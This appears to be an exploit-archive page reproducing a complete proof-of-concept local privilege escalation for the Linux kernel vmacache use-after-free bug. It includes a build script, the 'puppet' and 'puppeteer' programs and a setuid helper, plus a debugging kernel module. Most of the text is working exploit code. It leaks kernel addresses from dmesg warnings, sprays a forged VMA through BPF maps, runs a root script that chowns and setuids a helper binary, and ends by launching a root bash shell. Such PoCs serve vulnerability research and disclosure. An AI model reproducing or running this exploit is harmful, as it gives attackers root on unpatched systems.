4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / vmacache.tar TAR
vmacache/compile.sh0000777134560102575230000000016313351217717015271 0ustar  jannhprimarygroup#!/bin/sh
gcc -o puppet puppet.c -nostdlib -O1
gcc -o puppeteer puppeteer.c -O1
gcc -o suidhelper suidhelper.c -O1
vmacache/puppet.c0000666134560102575230000001307213351210732014754 0ustar  jannhprimarygroup#include "vmacache_helper.h"

#define PROT_RO 1
#define PROT_RW 3
#define PROT_RX 5

#define MAP_PRIV_ANON 0x22
#define MAP_FIXED 0x10

// mirrors the sequence number on the mm_struct, except without the 2^32 wrap
long sequence_mirror = 2;

#define FAST_WRAP_AREA ((char*)0x400000000000UL)
#define PAGE_SIZE 0x1000UL

#define UAF_VMA_AREA ((char*)0x400000010000UL)
#define CHILD_STACK_AREA ((char*)0x410000000000UL)
#define VMA_SPAM_AREA ((char*)0x420000000000UL)
#define VMA_SPAM_COUNT 10000UL
#define VMA_SPAM_DELTA (2*PAGE_SIZE)
#define VMA_SPAM_AREA_SIZE (VMA_SPAM_COUNT*VMA_SPAM_DELTA)

static void memset(void *p_, int c, unsigned long n) {
	char *p = p_;
	while (n) {
		*p = c;
		p++;
		n--;
	}
}

static long syscall(long nr, unsigned long a1,
		    unsigned long a2, unsigned long a3,
		    unsigned long a4, unsigned long a5,
		    unsigned long a6) {
	long res = nr;
	asm volatile(
		"mov %[a4], %%r10\n\t"
		"mov %[a5], %%r8\n\t"
		"mov %[a6], %%r9\n\t"
		"syscall\n\t"
	: // out
		"+a"(res)
	: // in
		"D"(a1),
		"S"(a2),
		"d"(a3),
		[a4] "r"(a4),
		[a5] "r"(a5),
		[a6] "r"(a6)
	: // clobber
		"r10", "r8", "r9", "r11", "rcx", "cc", "memory"
	);
	return res;
}

#ifdef CHEAT
static int ctl_fd = -1;
static long ctl_call(int cmd, unsigned long arg) {
	return syscall(16, ctl_fd, cmd, arg, 0, 0, 0);
}
#endif

struct cmsg_fd {
	unsigned long cmsg_len;
	int cmsg_level;
	int cmsg_type;
	int fd;
} __attribute__((packed));
struct user_msghdr {
	void *msg_name;
	int msg_namelen;
	void/*struct iovec*/ *msg_iov;
	unsigned long msg_iovlen;
	void *msg_control;
	unsigned long msg_controllen;
	unsigned int msg_flags;
};
static void sendfd(int sock, int fd) {
	struct cmsg_fd cmsg = {
		.cmsg_len = sizeof(struct cmsg_fd),
		.cmsg_level = 1/*SOL_SOCKET*/,
		.cmsg_type = 0x01/*SCM_RIGHTS*/,
		.fd = fd
	};
	struct user_msghdr msg = {
		.msg_control = &cmsg,
		.msg_controllen = sizeof(cmsg)
	};
	syscall(46, sock, (unsigned long)&msg, 0, 0, 0, 0);
}

static void exit(int status) {
	//exit_group
	syscall(231, status, 0, 0, 0, 0, 0);
}

static void *mmap(void *a1, unsigned long a2, int a3, int a4, int a5, long a6) {
	return (void*)syscall(9, (unsigned long)a1, a2, a3, a4, a5, a6);
}

static void munmap_noadjacent(void *a1, unsigned long a2) {
	syscall(11, (unsigned long)a1, a2, 0, 0, 0, 0);
	sequence_mirror++;
}

static void sequence_double_inc(void) {
	mmap(FAST_WRAP_AREA + PAGE_SIZE, PAGE_SIZE, PROT_RW, MAP_PRIV_ANON|MAP_FIXED, -1, 0);
	sequence_mirror += 2;
}
static void sequence_inc(void) {
	mmap(FAST_WRAP_AREA, PAGE_SIZE, PROT_RW, MAP_PRIV_ANON|MAP_FIXED, -1, 0);
	sequence_mirror += 1;
}
static void sequence_target(long target) {
	while (sequence_mirror + 2 <= target)
		sequence_double_inc();
	if (sequence_mirror + 1 <= target)
		sequence_inc();
}
static void sequence_cheat_bump(long bump) {
#ifdef CHEAT
	ctl_call(SEQUENCE_BUMP, bump);
	sequence_mirror += bump;
#endif
}
static void do_dmesg_dump(void) {
#ifdef CHEAT
	ctl_call(DMESG_DUMP, 0);
#endif
}

static int sync_fd;
static void sync_add(int fd) {
	unsigned long val = 1;
	syscall(1, fd, (unsigned long)&val, 8, 0, 0, 0);
}
static void sync_dec(int fd) {
	unsigned long val;
	syscall(0, fd, (unsigned long)&val, 8, 0, 0, 0);
}

struct bpf_map_create_args {
	unsigned int map_type;
	unsigned int key_size;
	unsigned int value_size;
	unsigned int max_entries;
	unsigned int map_flags;
};

void child_main(void) {
	do_dmesg_dump();

	for (unsigned long i=VMA_SPAM_COUNT/2; i<VMA_SPAM_COUNT; i++) {
		munmap_noadjacent(VMA_SPAM_AREA + i * VMA_SPAM_DELTA, PAGE_SIZE);
	}

	struct bpf_map_create_args bpf_arg = {
		.map_type = 2,
		.key_size = 4,
		.value_size = 0x1000,
		.max_entries = 1024
	};
	int bpf_map = syscall(321, 0, (unsigned long)&bpf_arg, sizeof(bpf_arg), 0, 0, 0);

	sendfd(0, bpf_map);

	do_dmesg_dump();

	sequence_cheat_bump(0xffff0000L);
	sequence_target(0x1ffffffffL);

	sync_add(sync_fd);

	// exit
	syscall(60, 0, 0, 0, 0, 0, 0);
}

static int thread_create(char *child_stack) {
	int res;
	asm volatile(
		"mov $56, %%eax\n\t"
		"mov $0x50f00, %%edi\n\t"
		"mov %[child_stack], %%rsi\n\t"
		"xor %%rdx, %%rdx\n\t"
		"xor %%r10, %%r10\n\t"
		"xor %%r8, %%r8\n\t"
		"xor %%r9, %%r9\n\t"
		"syscall\n\t"
		"test %%eax, %%eax\n\t"
		"jnz 1f\n\t"

		// child process
		"call child_main\n\t"
		"ud2\n\t"

		"1:"
	: //out
		"=&a"(res)
	: //in
		[child_stack] "r"(child_stack)
	: //clobber
		"rdi", "rsi", "rdx", "r10", "r8", "r9", "r11", "rcx", "cc", "memory"
	);
	return res;
}

void _start(void) {
	unsigned char cpu_mask = 0x01;
	syscall(203, 0, 1, (unsigned long)&cpu_mask, 0, 0, 0);

#ifdef CHEAT
	ctl_fd = syscall(2, (unsigned long)"/dev/vmacache", 0, 0, 0, 0, 0);
#endif
	sync_fd = syscall(284, 0, 0, 0, 0, 0, 0);

	mmap(FAST_WRAP_AREA, 0x3000, PROT_RW, MAP_PRIV_ANON, -1, 0);
	//mmap(UAF_VMA_AREA, 0x1000, PROT_RW, MAP_PRIV_ANON, -1, 0);
	mmap(CHILD_STACK_AREA, 0x10000, PROT_RW, MAP_PRIV_ANON, -1, 0);
	memset(CHILD_STACK_AREA, 0xcc, 0x10000);

	do_dmesg_dump();

	sequence_cheat_bump(0xffff0000L);
	sequence_target(0x100000000L - VMA_SPAM_COUNT/2);

	for (unsigned long i=0; i<VMA_SPAM_COUNT; i++) {
		mmap(VMA_SPAM_AREA + i * VMA_SPAM_DELTA, PAGE_SIZE, PROT_RW, MAP_PRIV_ANON, -1, 0);
	}

	for (unsigned long i=0; i<VMA_SPAM_COUNT/2; i++) {
		munmap_noadjacent(VMA_SPAM_AREA + i * VMA_SPAM_DELTA, PAGE_SIZE);
	}

	do_dmesg_dump();

	thread_create(CHILD_STACK_AREA+0x10000);
	sync_dec(sync_fd);

	do_dmesg_dump();

	// trigger dmesg dump. use high address to avoid pollution.
	syscall(1, sync_fd, 0x7fffffffd000, 8, 0, 0, 0);

	// fd 1 is an eventfd for sync with the puppeteer
	sync_dec(1);

	do_dmesg_dump();

	syscall(0, 1, 0x7fffffffd000, 8, 0, 0, 0x01010101feedf00d);

	exit(0);
}
vmacache/puppeteer.c0000666134560102575230000001576313351217616015471 0ustar  jannhprimarygroup#define _GNU_SOURCE
#include <err.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stddef.h>
#include <stdio.h>
#include <fcntl.h>
#include <signal.h>
#include <errno.h>
#include <stdbool.h>
#include <sys/eventfd.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/prctl.h>
#include <sys/wait.h>
#include <sys/syscall.h>
#include <sys/stat.h>
#include <linux/bpf.h>

struct list_head {
	struct list_head *next, *prev;
};

struct rb_node {
	unsigned long  __rb_parent_color;
	unsigned long /*struct rb_node **/rb_right;
	unsigned long /*struct rb_node **/rb_left;
} __attribute__((aligned(sizeof(long))));

struct vm_area_struct {
	unsigned long vm_start;
	unsigned long vm_end;
	/*0x10*/
	struct vm_area_struct *vm_next, *vm_prev;
	/*0x20*/
	struct rb_node vm_rb;
	unsigned long rb_subtree_gap;
	unsigned long/*struct mm_struct **/ vm_mm;
	unsigned long vm_page_prot;
	unsigned long vm_flags;

	struct {
		struct rb_node rb;
		unsigned long rb_subtree_last;
	} shared;

	struct list_head anon_vma_chain;
	void/*struct anon_vma*/ *anon_vma;

	unsigned long /*const struct vm_operations_struct **/ vm_ops;

	unsigned long vm_pgoff;
	unsigned long /*struct file **/ vm_file;
	unsigned long /*struct file **/vm_prfile;
	unsigned long /*void **/ vm_private_data;

	unsigned long swap_readahead_info;
	unsigned long /*struct mempolicy **/vm_policy;
	/*struct vm_userfaultfd_ctx vm_userfaultfd_ctx;*/
};

struct vm_operations_struct {
	unsigned long open, close, split, mremap, fault, huge_fault, map_pages,
		      page_mkwrite, pfn_mkwrite, access, name, set_policy,
		      get_policy, find_special_page;
};

int recvfd(int sock) {
	int len = sizeof(struct cmsghdr) + sizeof(int);
	struct cmsghdr *hdr = alloca(len);
	struct msghdr msg = {
		.msg_control = hdr,
		.msg_controllen = len
	};
	if (recvmsg(sock, &msg, 0) < 0) err(1, "recvmsg");
	if (hdr->cmsg_len != len || hdr->cmsg_level != SOL_SOCKET
	    || hdr->cmsg_type != SCM_RIGHTS)
		errx(1, "got bad message");
	return *(int*)CMSG_DATA(hdr);
}

#define VM_WRITE	0x00000002
#define VM_SHARED	0x00000008

int bpf_(int cmd, union bpf_attr *attrs) {
	return syscall(__NR_bpf, cmd, attrs, sizeof(*attrs));
}

void sync_add(int fd) {
	unsigned long val = 1;
	write(fd, &val, 8);
}

int main(void) {
	system("date");
	char buf[0x2000];
	int kmsg_fd = open("/dev/kmsg", O_RDONLY|O_NONBLOCK);
	if (kmsg_fd == -1) err(1, "open kmsg");
	while (1) {
		int res = read(kmsg_fd, buf, sizeof(buf));
		if (res == -1 && errno == EAGAIN) break;
	}
	if (fcntl(kmsg_fd, F_SETFL, 0)) err(1, "disable O_NONBLOCK");
	printf("puppeteer: old kmsg consumed\n");

	int control_fd_pair[2];
	int control_event_fd = eventfd(0, EFD_SEMAPHORE);
	if (control_event_fd == -1) err(1, "eventfd");
	if (socketpair(AF_UNIX, SOCK_DGRAM, 0, control_fd_pair))
		err(1, "socketpair");
	pid_t child = fork();
	if (child == -1) err(1, "fork");
	if (child == 0) {
		prctl(PR_SET_PDEATHSIG, SIGKILL);
		close(kmsg_fd);
		close(control_fd_pair[0]);
		if (dup2(control_fd_pair[1], 0) != 0) err(1, "dup2");
		close(control_fd_pair[1]);
		if (dup2(control_event_fd, 1) != 1) err(1, "dup2");
		execl("./puppet", "puppet", NULL);
		err(1, "execute puppet");
	}
	close(control_fd_pair[1]);

	int bpf_map = recvfd(control_fd_pair[0]);
	printf("got map from child!\n");

	int state = 0;
	unsigned long rsp = 0, vma_kaddr = 0, mm = 0, eventfd_fops = 0;
	while (1) {
		char *ptr;
		int res = read(kmsg_fd, buf, sizeof(buf)-1);
		if (res <= 0) err(1, "unexpected kmsg end");
		buf[res] = '\0';
		if (state == 0 && strstr(buf, "WARNING: ") && strstr(buf, " vmacache_find+")) {
			state = 1;
			printf("got WARNING\n");
		}
		if (state == 1 && (ptr = strstr(buf, "RSP: 0018:"))) {
			rsp = strtoul(ptr+10, NULL, 16);
			printf("got RSP line: 0x%lx\n", rsp);
		}
		if (state == 1 && (ptr = strstr(buf, "RAX: "))) {
			vma_kaddr = strtoul(ptr+5, NULL, 16);
			printf("got RAX line: 0x%lx\n", vma_kaddr);
		}
		if (state == 1 && (ptr = strstr(buf, "RDI: "))) {
			mm = strtoul(ptr+5, NULL, 16);
			printf("got RDI line: 0x%lx\n", mm);
		}
		if (state == 1 && strstr(buf, "RIP: 0010:copy_user_generic_unrolled")) {
			state = 2;
			printf("reached WARNING part 2\n");
		}
		if (state == 2 && (ptr = strstr(buf, "R08: "))) {
			eventfd_fops = strtoul(ptr+5, NULL, 16);
			printf("got R8 line: 0x%lx\n", eventfd_fops);
			state = 3;
		}
		if (state > 0 && strstr(buf, "---[ end trace"))
			break;
	}
	printf("trace consumed\n");

	sleep(1);

	// make suid-maker shell script
	{
		char *suid_path = realpath("./suidhelper", NULL);
		int suid_fd = open("/tmp/%1", O_WRONLY|O_CREAT|O_TRUNC, 0777);
		if (suid_fd == -1) err(1, "make suid shell script");
		char *suid_tmpl = "#!/bin/sh\n"
				  "chown root:root '%s'\n"
				  "chmod 04755 '%s'\n"
				  "while true; do sleep 1337; done\n";
		char suid_text[10000];
		sprintf(suid_text, suid_tmpl, suid_path, suid_path);
		if (write(suid_fd, suid_text, strlen(suid_text)) != strlen(suid_text))
			err(1, "write suid-maker");
		close(suid_fd);
	}

	// prep fake VMA
	long offset = (vma_kaddr - 0x90/*compensate for BPF map header*/) & 0xfff;
	printf("offset: 0x%lx\n", (unsigned long)offset);
	unsigned char fake_vma_page[0x1000];

	// for debugging, if we put the VMA in the wrong place somehow
	for (int i=0; i<0x1000; i+=4) {
		*((unsigned int *)(fake_vma_page+i)) = 0xff000000 | i;
	}

	char kernel_cmd[8] = "/tmp/%1";
	struct vm_area_struct fake_vma = {
		.vm_start = 0x7fffffffd000,
		.vm_end = 0x7fffffffe000,
		.vm_rb = {
			.__rb_parent_color =
			    (eventfd_fops-0xd92ce0), //run_cmd: 0xffffffff810b09a0
			.rb_right = vma_kaddr
			    + offsetof(struct vm_area_struct, vm_rb.rb_left)
			/*rb_left reserved for kernel_cmd*/
		},
		.vm_mm = mm,
		.vm_flags = VM_WRITE|VM_SHARED,
		.vm_ops = vma_kaddr
		    + offsetof(struct vm_area_struct, vm_private_data)
		    - offsetof(struct vm_operations_struct, fault),
		.vm_private_data = eventfd_fops-0xd8da5f,
		.shared = {
			.rb_subtree_last = vma_kaddr
			    + offsetof(struct vm_area_struct, shared.rb.__rb_parent_color)
			    - 0x88,
			.rb = {
				.__rb_parent_color = eventfd_fops-0xd9ebd6
			}
		}
	};
	memcpy(&fake_vma.vm_rb.rb_left, kernel_cmd, sizeof(kernel_cmd));
	if (offset + sizeof(fake_vma) <= 0x1000) {
		memcpy(fake_vma_page + offset, &fake_vma, sizeof(fake_vma));
	} else {
		size_t chunk_len = 0x1000 - offset;
		memcpy(fake_vma_page + offset, &fake_vma, chunk_len);
		memcpy(fake_vma_page, (char*)&fake_vma + chunk_len, sizeof(fake_vma) - chunk_len);
	}


	for (int i=0; i<1024; i++) {
		union bpf_attr update_attr = {
			.map_fd = bpf_map,
			.key = (unsigned long)&i,
			.value = (unsigned long)fake_vma_page,
			.flags = 0
		};
		if (bpf_(BPF_MAP_UPDATE_ELEM, &update_attr))
			err(1, "BPF_MAP_UPDATE_ELEM");
	}
	printf("fake vma pushed\n");
	sync_add(control_event_fd);
	sync_add(control_event_fd);

	while (1) {
		struct stat helperstat;
		if (stat("suidhelper", &helperstat))
			err(1, "stat suidhelper");
		if (helperstat.st_mode & S_ISUID)
			break;
		sleep(1);
	}
	fputs("suid file detected, launching rootshell...\n", stderr);
	execl("./suidhelper", "suidhelper", NULL);
	err(1, "execl suidhelper");
}
vmacache/suidhelper.c0000666134560102575230000000044413351003646015606 0ustar  jannhprimarygroup#include <stdlib.h>
#include <unistd.h>
#include <err.h>
#include <stdio.h>
#include <sys/types.h>

int main(void) {
	if (setuid(0) || setgid(0))
		err(1, "setuid/setgid");
	fputs("we have root privs now...\n", stderr);
	system("date");
	execl("/bin/bash", "bash", NULL);
	err(1, "execl");
}
vmacache/vmacache_helper.h0000644134560102575230000000104313350523722016546 0ustar  jannhprimarygroup#define GET_VMA_PTR 0x13370000
struct get_vma_args {
  unsigned long mapping_addr;
  unsigned long vma_addr;
};

#define DUMP_VMA 0x13370001
struct dump_vma_args {
  unsigned long vma_addr;

  unsigned long vm_start;
  unsigned long vm_end;

  struct mm_struct *vm_mm;
  unsigned long vm_page_prot;
  unsigned long vm_flags;

  const struct vm_operations_struct *vm_ops;

  unsigned long vm_pgoff;
  struct file * vm_file;
  void * vm_private_data;
};

#define FORCE_VMA 0x13370002

#define DMESG_DUMP 0x13370003

#define SEQUENCE_BUMP 0x13370004
vmacache/vmacache_helper.c0000644134560102575230000001073713350524027016552 0ustar  jannhprimarygroup#undef __KERNEL__
#define __KERNEL__
#undef MODULE
#define MODULE

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/file.h>
#include <linux/fs.h>
#include <linux/ioctl.h>
#include <linux/uaccess.h>
#include <linux/miscdevice.h>
#include <linux/kallsyms.h>
#include <linux/blkdev.h>
#include <linux/mm.h>
#include <linux/vmacache.h>
#include <linux/sched/signal.h>
#include "vmacache_helper.h"

static int ioctl_open(struct inode *nodp, struct file *filp) {
  return 0;
}

void vmacache_debug_dump(void)
{
 struct mm_struct *mm = current->mm;
 struct task_struct *g, *p;
 int i;

 pr_warn("entering vmacache_debug_dump(0x%lx)\n", (unsigned long)mm);
 pr_warn("  mm sequence: 0x%x\n", mm->vmacache_seqnum);
 rcu_read_lock();
 for_each_process_thread(g, p) {
   if (mm == p->mm) {
     pr_warn("  task 0x%lx at 0x%x%s\n", (unsigned long)p,
       p->vmacache.seqnum,
       (current == p)?" (current)":"");
     pr_warn("    cache dump:\n");
     for (i=0; i<VMACACHE_SIZE; i++) {
       unsigned long vm_start, vm_end, vm_mm;
       int err = 0;

       pr_warn("      0x%lx\n",
         (unsigned long)p->vmacache.vmas[i]);
       err |= probe_kernel_read(&vm_start,
         &p->vmacache.vmas[i]->vm_start,
         sizeof(unsigned long));
       err |= probe_kernel_read(&vm_end,
         &p->vmacache.vmas[i]->vm_end,
         sizeof(unsigned long));
       err |= probe_kernel_read(&vm_mm,
         &p->vmacache.vmas[i]->vm_mm,
         sizeof(unsigned long));
       if (err)
         continue;
       pr_warn("        start=0x%lx end=0x%lx mm=0x%lx\n",
         vm_start, vm_end, vm_mm);
     }
   }
 }
 rcu_read_unlock();
 pr_warn("  #####\n");
}

static long ioctl_handler(struct file *filp_, unsigned int cmd, unsigned long arg) {
  void __user *argp = (void __user *)arg;

  switch (cmd) {
    case GET_VMA_PTR: {
      struct get_vma_args args;
      struct vm_area_struct *vma;

      if (copy_from_user(&args, argp, sizeof(args)))
        return -EFAULT;
      vma = find_vma(current->mm, args.mapping_addr);
      if (!vma || vma->vm_start > args.mapping_addr)
        return -ENOENT;
      args.vma_addr = (unsigned long)vma;
      if (copy_to_user(argp, &args, sizeof(args)))
        return -EFAULT;
      return 0;
    } break;
    case DUMP_VMA: {
      struct dump_vma_args args;
      struct vm_area_struct *vma;
      if (copy_from_user(&args, argp, sizeof(args)))
        return -EFAULT;
      vma = (void*)args.vma_addr;

      /* if this is too unstable, use probe_kernel_read() */
      args.vm_start = vma->vm_start;
      args.vm_end = vma->vm_end;
      args.vm_mm = vma->vm_mm;
      args.vm_page_prot = vma->vm_page_prot.pgprot;
      args.vm_flags = vma->vm_flags;
      args.vm_ops = vma->vm_ops;
      args.vm_pgoff = vma->vm_pgoff;
      args.vm_file = vma->vm_file;
      args.vm_private_data = vma->vm_private_data;

      if (copy_to_user(argp, &args, sizeof(args)))
        return -EFAULT;
      return 0;
    } break;
    case FORCE_VMA: {
      char tmp[1];
      int res;

      pr_warn("FORCE_VMA mm=0x%lx\n", (unsigned long)current->mm);
      current->vmacache.vmas[0] = (void*)arg;
      current->vmacache.vmas[1] = (void*)arg;
      current->vmacache.vmas[2] = (void*)arg;
      current->vmacache.vmas[3] = (void*)arg;
      current->vmacache.seqnum = current->mm->vmacache_seqnum;

      res = copy_from_user(tmp, (void __user *)0x100, 1);
      pr_warn("copy_from_user: %d\n", res);

      current->vmacache.vmas[0] = NULL;
      current->vmacache.vmas[1] = NULL;
      current->vmacache.vmas[2] = NULL;
      current->vmacache.vmas[3] = NULL;

      return 0;
    } break;
    case DMESG_DUMP: {
      vmacache_debug_dump();
      return 0;
    } break;
    case SEQUENCE_BUMP: {
      current->mm->vmacache_seqnum += arg;
      return 0;
    } break;
    default: return -EINVAL;
  }
}

static int ioctl_release(struct inode *nodp, struct file *filp) {
  return 0;
}

static const struct file_operations ioctl_fops = {
  .owner = THIS_MODULE,
  .unlocked_ioctl = ioctl_handler,
  .open = ioctl_open,
  .release = ioctl_release
};

static struct miscdevice my_miscdev = {
  .minor = 0,
  .name = "vmacache",
  .fops = &ioctl_fops
};

static int __init init_mod(void) {
  int ret;
  printk(KERN_INFO "loading helper module\n");

  ret = misc_register(&my_miscdev);
  return ret;
}

static void __exit cleanup_ioctl(void) {
  printk(KERN_INFO "unloading helper module\n");
  misc_deregister(&my_miscdev);
}

module_init(init_mod);
module_exit(cleanup_ioctl);

MODULE_LICENSE("GPL v2");